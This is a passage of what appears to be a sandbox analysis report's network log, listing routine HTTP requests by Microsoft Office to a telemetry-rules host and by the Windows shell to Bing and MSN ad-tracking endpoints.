dgever=117.0.2045.55&svcmpt=Red&svgtng=2&svtmexp=1699747200&svtmupd=1696486876&tl=2&tsu=593726&waasBldFlt=1&waasCfgExp=1&waasCfgSet=1&waasRetail=1&waasRing=&svoffered=0 HTTP/1.1Accept-Encoding: gzip, deflateX-SDK-CACHE: chs=0&imp=0&chf=0&ds=50543&fs=23594&sc=6X-SDK-HW-TOKEN: t=EwDoAppeBAAUGoFunEzxzyai/T0i5tnZAAR1eX0AAe21EF+Rxpq8kmMBdNHwaizEVjwJwFsi9LtZpFv3ILy2o3iFAxxDU9aix+hlov70JF2lFQuoNfWosftgtbmXyubdR6jMFZgMNu3TNpVnDKy5TCXwjQCxkGPmBI4ql7W62eRT56W167QsU6lk9aloS+XdVOlhuoVfw8nth6I21HBji7SI+y1rwF3dENsML0ULkxRnYiLZ4q271194FKtqEHudSH6RonI733c2NK8WDPyPBjPoiBL0iNr3ZFd/x1dMXs20NBiVlcCCmLoIt9viMDAb3GgtzFSH+c45XrMrWpoGTe6HeQj84fNw3cl65ckrwHXUqd9Sjt9djzD2WH3HGisQZgAAED5pDnztdUryTXAEGPjYQfuwAWlGUcRai73a7r5xMG2zxcZpVAXX5llhg8OdgRe1TgPeecEKNGgmLiDuIIn1CI1mJvHNaWMK3JMPumi5Rfj7cmNyDEzOwx28pJyId/5SUJgZ3GIsZX2Q1jGnW4Fd6Hivl6My/TuGnhxPLXclpaL2KTjhqEwIQomMErauaMUUzM1EGMXqrdTfgsIM1N3XfM78I/tKTIBF+P0Jj08gPesyTRLRedwPKP3ztxjJeiSupLApW9ddMltxmvf0oz0a6yO493v/zdcmS7xR6iiMhnU5Ih11HaDbr43KO4OPpVctoL9zWqrL+sn8e6UdeY2/b/vESKrB8pKnTSR2JZbsWhMsHoEtrRuIqg6Ehaq3fTz+3NdaQmChAhkFDnQQmLJywaUwh2TEwoTZTmcKtS4j1iqInGS1yICkbfzWceTWjK7/C+0tcUSCUBWBviRa2PQfjqXHpQOOGWoaKhoY1Z386ZdZ2EKVzA2gQADPnFh8pP56V6ZtzlkeHl+gtJelpQQhOZmYqUzUaX2g1YiXGpJYr8/p61dTlapUY8AlhTiLVGIR8d5V+btFVOF5QobBYVWFlNV1R9cB&p=Cache-Control: no-cacheMS-CV: cVy/u6PzFE2ZCeJx.0User-Agent: WindowsShellClient/9.0.40929.0 (Windows)X-SDK-HWF: arm0,arm640,ble0,cmb0,cmf0,cmr0,dcb1,dcc1,dx91,dxa1,dxb1,gyr0,hce0,hdc0,hov0,hsa0,hss1,kbd1,m041,m060,m080,m120,m160,m200,m301,m751,mA01,mct0,mgn0,mic0,mrc0,mse1,mT01,nfc0,rs10,rs20,rs30,rs40,rs50,rs60,tch0,tel0,v010,v020,v040,x641,x860,x86a640,xbd0,xbo0,xbs0,xbx0,xgp0Host: arc.msn.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /neg/0?action=impression&rlink=https%3A%2F%2Fwww.bing.com%2Faclick%3Fld%3De8Div-XlJwxIeYPqXOA4jwsTVUCUx2kgaT4DeWS0ducCSLIWchSyjCPoYlieVX1ioXeE9KQ6OdYRhJ59M9Cpntj3WfgurM0nc4l_h-3zbrMoN81qrdX934nynG5z5_IpZvca3eo9AguyJXO68WR3kl4qsFEkAW-X1_tEVD-mM5qBnY5X_k%26u%3DbWljcm9zb2Z0LWVkZ2UlM2FodHRwcyUzYSUyZiUyZm9uZWRyaXZlLmxpdmUuY29tJTJmJTNmb2NpZCUzZGNtbTA3YjdkbnU0%26rlid%3Ddd46da0ab46319e466cdbd3753eda5d2&TIME=20241120T134408Z&CID=531098720&EID=531098720&tids=15000&adUnitId=11730597&localId=w:068D482D-8F3B-78AE-DAA0-0C08B8FF2AE6&deviceId=6966555320912735&anid=DA18C8825356BAC4E7B23066FFFFFFFF HTTP/1.1Accept-Encoding: gzip, deflateUser-Agent: WindowsShellClient/9.0.40929.0 (Windows)Host: g.bing.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /rules/rule702300v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702301v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703400v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703401v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702501v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /aes/c.gif?RG=470cdd8b80a643d982ebbfaac03237fa&med=10&pubId=251978541&tids=15000&type=mv&reqver=1.0&TIME=20241120T134408Z&adUnitId=11730597&localId=w:068D482D-8F3B-78AE-DAA0-0C08B8FF2AE6&deviceId=6966555320912735&anid=DA18C8825356BAC4E7B23066FFFFFFFF HTTP/1.1Accept-Encoding: gzip, deflateUser-Agent: WindowsShellClient/9.0.40929.0 (Windows)Host: www.bing.comConnection: Keep-AliveCookie: MUID=2488B6BEB8A1693F123AA383B9B86849
Source: global traffic	HTTP traffic detected: GET /rules/rule702500v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700501v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700500v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702551v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702550v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /neg/0?action=impression&rlink=https%3A%2F%2Fwww.bing.com%2Faclick%3Fld%3De8Div-XlJwxIeYPqXOA4jwsTVUCUx2kgaT4DeWS0ducCSLIWchSyjCPoYlieVX1ioXeE9KQ6OdYRhJ59M9Cpntj3WfgurM0nc4l_h-3zbrMoN81qrdX934nynG5z5_IpZvca3eo9AguyJXO68WR3kl4qsFEkAW-X1_tEVD-mM5qBnY5X_k%26u%3DbWljcm9zb2Z0LWVkZ2UlM2FodHRwcyUzYSUyZiUyZm9uZWRyaXZlLmxpdmUuY29tJTJmJTNmb2NpZCUzZGNtbTA3YjdkbnU0%26rlid%3Ddd46da0ab46319e466cdbd3753eda5d2&TIME=20241120T134408Z&CID=531098720&EID=&tids=15000&adUnitId=11730597&localId=w:068D482D-8F3B-78AE-DAA0-0C08B8FF2AE6&deviceId=6966555320912735&anid=DA18C8825356BAC4E7B23066FFFFFFFF HTTP/1.1Accept-Encoding: gzip, deflateUser-Agent: WindowsShellClient/9.0.40929.0 (Windows)Host: g.bing.comConnection: Keep-AliveCookie: MUID=2488B6BEB8A1693F123AA383B9B86849; _EDGE_S=SID=0321A6D492D26CA231A4B3E993CA6D91; MR=0
Source: global traffic	HTTP traffic detected: GET /rules/rule701351v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701350v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703001v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703000v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700751v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700750v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703451v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703450v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700901v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700900v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702651v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702650v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702901v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702900v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703601v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703600v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703851v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703850v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703801v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703800v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703701v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703700v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703751v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703750v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701301v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701300v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704051v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704050v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701701v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702051v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701700v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702050v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700701v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700700v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700551v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700550v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703651v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700600v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703650v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700601v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703951v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702851v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703950v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702850v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700001v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700000v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701951v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701401v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701400v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701950v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700851v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700850v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701851v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701850v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703051v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703050v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700951v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700950v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703551v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703550v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700451v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702701v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702700v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700450v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701901v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701900v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704001v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704000v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702401v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702400v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701551v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701550v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
